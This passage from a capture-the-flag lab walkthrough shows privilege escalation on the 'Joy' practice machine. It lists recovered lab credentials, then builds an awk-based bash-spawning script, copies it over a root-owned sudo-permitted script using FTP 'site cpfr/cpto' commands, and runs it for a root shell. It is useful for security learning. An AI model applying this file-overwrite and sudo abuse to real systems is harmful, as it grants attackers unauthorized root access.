We successfully obtained the command shell of the remote machine, now it was time for post enumeration to step towards privilege escalation. Thus, we import python one-liner to access proper tty shell and start with directory traversing.
It feels good when we dig-out credential of Patrick from inside the /ossec/patricsecretofjoy.
credentials for JOY:
patrick:apollo098765
root:howtheheckdoiknowwhattherootpasswordis
1
2
patrick:apollo098765
root:howtheheckdoiknowwhattherootpasswordis
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-xwKwLH7lODY/XTfjU4g0eSI/AAAAAAAAfeU/S9LLeMv2T48BQLaMXP6QpeAkiFhc_tRwQCLcBGAs/s1600/6.png?w=687&ssl=1)
Privilege Escalation
Without wasting time, we switch as Patrick and check for its sudo rights if assigned for him. Here we found that Patrick can run /home/patrick/script/test as sudo user. So, when we run the test script, it gave nothing useful as it was a demo to test working bash script thus the file “test” was useless but it own by root user which was doubtful for us.
So we decided to replace /test script with other malicious script but there was no writable permission on /script directory.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-uOIN-cxA13M/XTfjUxmvgkI/AAAAAAAAfeM/4URiYV4Mj50M0aNe5hrE6uePp2dV1lFAgCLcBGAs/s1600/7.png?w=687&ssl=1)
Thus, again we decided to use FTP anonymous login for replacing genuine /test file with bogus /test file which will be a backdoor to provide higher privilege shell.
Therefore, we created a malicious file to get bash shell with the help of command given and named as “test” then try to upload it inside /upload directory since it was a writable folder.
echo "awk 'BEGIN {system(\"/bin/bash\")}'" > test
1
echo "awk 'BEGIN {system(\"/bin/bash\")}'" > test
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5TeJgk_Nb6w/XTfjU7vSHRI/AAAAAAAAfeQ/ysqL-N_0K-U_ZUrQjIM0tttPnk7sH8-kQCLcBGAs/s1600/8.png?w=687&ssl=1)
Once again with the help of telnet let’s connect to ftp service running on the host machine and execute the following command to inject malicious script “test” inside /home/Patrick/script.
telnet 192.168.1.104 21
site cpfr /home/ftp/upload/test
site cpto /home/patrick/script/test
1
2
3
telnet 192.168.1.104 21
site cpfr /home/ftp/upload/test
site cpto /home/patrick/script/test
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-pJnGdArhLe0/XTfjVt0G39I/AAAAAAAAfeY/Y7sbglge5uwDDpk7SgtB8bnN4jOjNZ51wCLcBGAs/s1600/9.png?w=687&ssl=1)
So now we have injected the malicious file inside /script and user Patrick has sudo right to execute the /script/test as superuser. Now let’s escalate the privilege by execute following command and finish the task assigned by the author.
sudo /home/patrick/script/test
1
sudo /home/patrick/script/test
Hmmmmm!! so we have spawn root shell successfully, now let’s move inside /root directory and grab the proof.txt file and secret file.
cd /root
cat proof.txt
author-secret.txt
1
2
3
cd /root
cat proof.txt
author-secret.txt













